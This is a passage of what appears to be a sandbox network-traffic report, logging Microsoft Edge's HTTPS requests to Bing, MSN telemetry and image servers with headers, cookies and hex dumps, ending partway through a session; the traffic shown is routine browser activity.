2024-11-08 14:21:15 UTC	2650	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 59 75 61 6e 79 61 6e 67 2c 20 43 68 69 6e 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 59 75 61 6e 79 61 6e 67 2b 72 69 63 65 2b 74 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Yuanyang, China\",\"cta\":\"https:\/\/www.bing.com\/search?q=Yuanyang+rice+t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49824	23.198.7.178	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:15 UTC	628	OUT	OPTIONS /bnc/notifications/count?app=anaheim&pageId=ntp HTTP/1.1 Host: www.bing.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: x-personalbing-csrf,x-personalbing-flights,x-search-clientid,x-search-uilang Origin: https://ntp.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:16 UTC	2233	IN	HTTP/1.1 200 OK Content-Length: 0 Access-Control-Allow-Headers: * Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Max-Age: 7200 Cache-Control: private X-EventID: 672e1e5cb9d146e8ab791e991956772e UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= Content-Security-Policy: script-src https: 'strict-dynamic' 'report-sample' 'wasm-unsafe-eval' 'nonce-2zLBQHPwA0alULdEwFBCqAOp2aGn+pn7PBRfVXdJzVg='; base-uri 'self';report-to csp-endpoint Report-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]} P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Fri, 08 Nov 2024 14:21:16 GMT Connection: close Set-Cookie: MUID=2976DC12619B69C20925C9236012683A; domain=.bing.com; expires=Wed, 03-Dec-2025 14:21:16 GMT; path=/; secure; SameSite=None Set-Cookie: MUIDB=2976DC12619B69C20925C9236012683A; expires=Wed, 03-Dec-2025 14:21:16 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=F=1&SID=0B4D90762C5963B707B885472DD06278; domain=.bing.com; path=/; HttpOnly Set-Cookie: _EDGE_V=1; domain=.bing.com; expires=Wed, 03-Dec-2025 14:21:16 GMT; path=/; HttpOnly Set-Cookie: USRLOC=HS=1; domain=.bing.com; expires=Sun, 08-Nov-2026 14:21:16 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sun, 08-Nov-2026 14:21:16 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUID=V=2&GUID=4A7A67608B4F4785B9F3F78E28B5CB07&dmnchg=1; domain=.bing.com; expires=Sun, 08-Nov-2026 14:21:16 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUSR=DOB=20241108; domain=.bing.com; expires=Sun, 08-Nov-2026 14:21:16 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sun, 08-Nov-2026 14:21:16 GMT; path=/; secure; SameSite=None Set-Cookie: _SS=SID=0B4D90762C5963B707B885472DD06278; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.b33a2f17.1731075676.6c02e6f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49825	52.178.17.3	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:16 UTC	1036	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731075674874&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10974 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2DD296EDD8FB644F13F183DCD98E6569; _EDGE_S=F=1&SID=2C15D19DB0CA691E3B6DC4ACB17B6826; _EDGE_V=1; _C_ETH=1
2024-11-08 14:21:16 UTC	10974	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 30 38 54 31 34 3a 32 31 3a 31 34 2e 38 37 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 34 30 61 63 34 62 31 2d 65 36 66 31 2d 34 30 38 65 2d 38 38 33 33 2d 36 62 37 63 62 66 33 35 36 39 65 63 22 2c 22 65 70 6f 63 68 22 3a 22 33 37 30 37 34 38 31 36 30 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-08T14:21:14.873Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"a40ac4b1-e6f1-408e-8833-6b7cbf3569ec","epoch":"3707481606"},"app":{"locale
2024-11-08 14:21:16 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=c365a925d4f94e6bb6cb0cfd37009050&HASH=c365&LV=202411&V=4&LU=1731075676678; Domain=.microsoft.com; Expires=Sat, 08 Nov 2025 14:21:16 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=08fad932b9b446d8acf3bb440bc8f64a; Domain=.microsoft.com; Expires=Fri, 08 Nov 2024 14:51:16 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1804 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 08 Nov 2024 14:21:16 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49826	52.178.17.3	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:16 UTC	1035	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731075674913&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4667 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2DD296EDD8FB644F13F183DCD98E6569; _EDGE_S=F=1&SID=2C15D19DB0CA691E3B6DC4ACB17B6826; _EDGE_V=1; _C_ETH=1
2024-11-08 14:21:16 UTC	4667	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 30 38 54 31 34 3a 32 31 3a 31 34 2e 38 37 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 34 30 61 63 34 62 31 2d 65 36 66 31 2d 34 30 38 65 2d 38 38 33 33 2d 36 62 37 63 62 66 33 35 36 39 65 63 22 2c 22 65 70 6f 63 68 22 3a 22 33 37 30 37 34 38 31 36 30 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-08T14:21:14.878Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"a40ac4b1-e6f1-408e-8833-6b7cbf3569ec","epoch":"3707481606"},"app":{"locale
2024-11-08 14:21:16 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=87b029ce386e4b3ab7c2b1c365943306&HASH=87b0&LV=202411&V=4&LU=1731075676799; Domain=.microsoft.com; Expires=Sat, 08 Nov 2025 14:21:16 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e59003acb2134d4dbbd90358d642a0b3; Domain=.microsoft.com; Expires=Fri, 08 Nov 2024 14:51:16 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1886 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 08 Nov 2024 14:21:16 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49827	20.125.209.212	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:17 UTC	1279	OUT	GET /c.gif?rnd=1731075672839&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a64231390e1f474ea5727bf3a8d188dd&activityId=a64231390e1f474ea5727bf3a8d188dd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1A78D69714EC4D2CAF61F5784E14CBA6&MUID=2DD296EDD8FB644F13F183DCD98E6569 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2DD296EDD8FB644F13F183DCD98E6569; _EDGE_S=F=1&SID=2C15D19DB0CA691E3B6DC4ACB17B6826; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-08 14:21:17 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=2DD296EDD8FB644F13F183DCD98E6569; domain=.msn.com; expires=Wed, 03-Dec-2025 14:21:17 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=2DD296EDD8FB644F13F183DCD98E6569; domain=c.msn.com; expires=Wed, 03-Dec-2025 14:21:17 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Fri, 15-Nov-2024 14:21:17 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Fri, 08-Nov-2024 14:31:17 GMT; path=/; SameSite=None; Secure; Date: Fri, 08 Nov 2024 14:21:16 GMT Connection: close Content-Length: 42
2024-11-08 14:21:17 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49828	52.178.17.3	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:17 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731075675547&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5232 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2DD296EDD8FB644F13F183DCD98E6569; _EDGE_S=F=1&SID=2C15D19DB0CA691E3B6DC4ACB17B6826; _EDGE_V=1; msnup=
2024-11-08 14:21:17 UTC	5232	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 30 38 54 31 34 3a 32 31 3a 31 35 2e 35 34 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 34 30 61 63 34 62 31 2d 65 36 66 31 2d 34 30 38 65 2d 38 38 33 33 2d 36 62 37 63 62 66 33 35 36 39 65 63 22 2c 22 65 70 6f 63 68 22 3a 22 33 37 30 37 34 38 31 36 30 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-08T14:21:15.547Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"a40ac4b1-e6f1-408e-8833-6b7cbf3569ec","epoch":"3707481606"},"app":{"locale
2024-11-08 14:21:19 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=cb023930dc974ecd9391a30a4c74db37&HASH=cb02&LV=202411&V=4&LU=1731075678942; Domain=.microsoft.com; Expires=Sat, 08 Nov 2025 14:21:18 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=6c606b30f2164e82872fcf71d4a0243e; Domain=.microsoft.com; Expires=Fri, 08 Nov 2024 14:51:18 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3395 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 08 Nov 2024 14:21:18 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49829	52.178.17.3	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:17 UTC	1034	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731075675862&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10048 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2DD296EDD8FB644F13F183DCD98E6569; _EDGE_S=F=1&SID=2C15D19DB0CA691E3B6DC4ACB17B6826; _EDGE_V=1; msnup=
2024-11-08 14:21:17 UTC	10048	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 30 38 54 31 34 3a 32 31 3a 31 35 2e 38 36 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 34 30 61 63 34 62 31 2d 65 36 66 31 2d 34 30 38 65 2d 38 38 33 33 2d 36 62 37 63 62 66 33 35 36 39 65 63 22 2c 22 65 70 6f 63 68 22 3a 22 33 37 30 37 34 38 31 36 30 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-08T14:21:15.861Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"a40ac4b1-e6f1-408e-8833-6b7cbf3569ec","epoch":"3707481606"},"app":{"loc
2024-11-08 14:21:18 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4a15fe2f35c84e8faf13321b4ca3f445&HASH=4a15&LV=202411&V=4&LU=1731075677694; Domain=.microsoft.com; Expires=Sat, 08 Nov 2025 14:21:17 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a05125b156aa4f31bdabf3301ce012e8; Domain=.microsoft.com; Expires=Fri, 08 Nov 2024 14:51:17 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1832 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 08 Nov 2024 14:21:17 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49831	23.38.189.114	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:19 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:20 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 21 Oct 2024 03:13:18 GMT X-Datacenter: northeu X-ActivityId: 6db12733-9255-4acf-9296-95e19c30786f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 Content-Length: 4096 Cache-Control: public, max-age=391967 Expires: Wed, 13 Nov 2024 03:14:07 GMT Date: Fri, 08 Nov 2024 14:21:20 GMT Connection: close
2024-11-08 14:21:20 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49832	23.38.189.114	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:20 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:20 UTC	549	IN	HTTP/1.1 200 OK Last-Modified: Wed, 23 Oct 2024 20:31:12 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 17955 X-Datacenter: eastap X-ActivityId: 53621c4b-f6ac-4e45-8979-9690752d9442 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=238211 Expires: Mon, 11 Nov 2024 08:31:31 GMT Date: Fri, 08 Nov 2024 14:21:20 GMT Connection: close
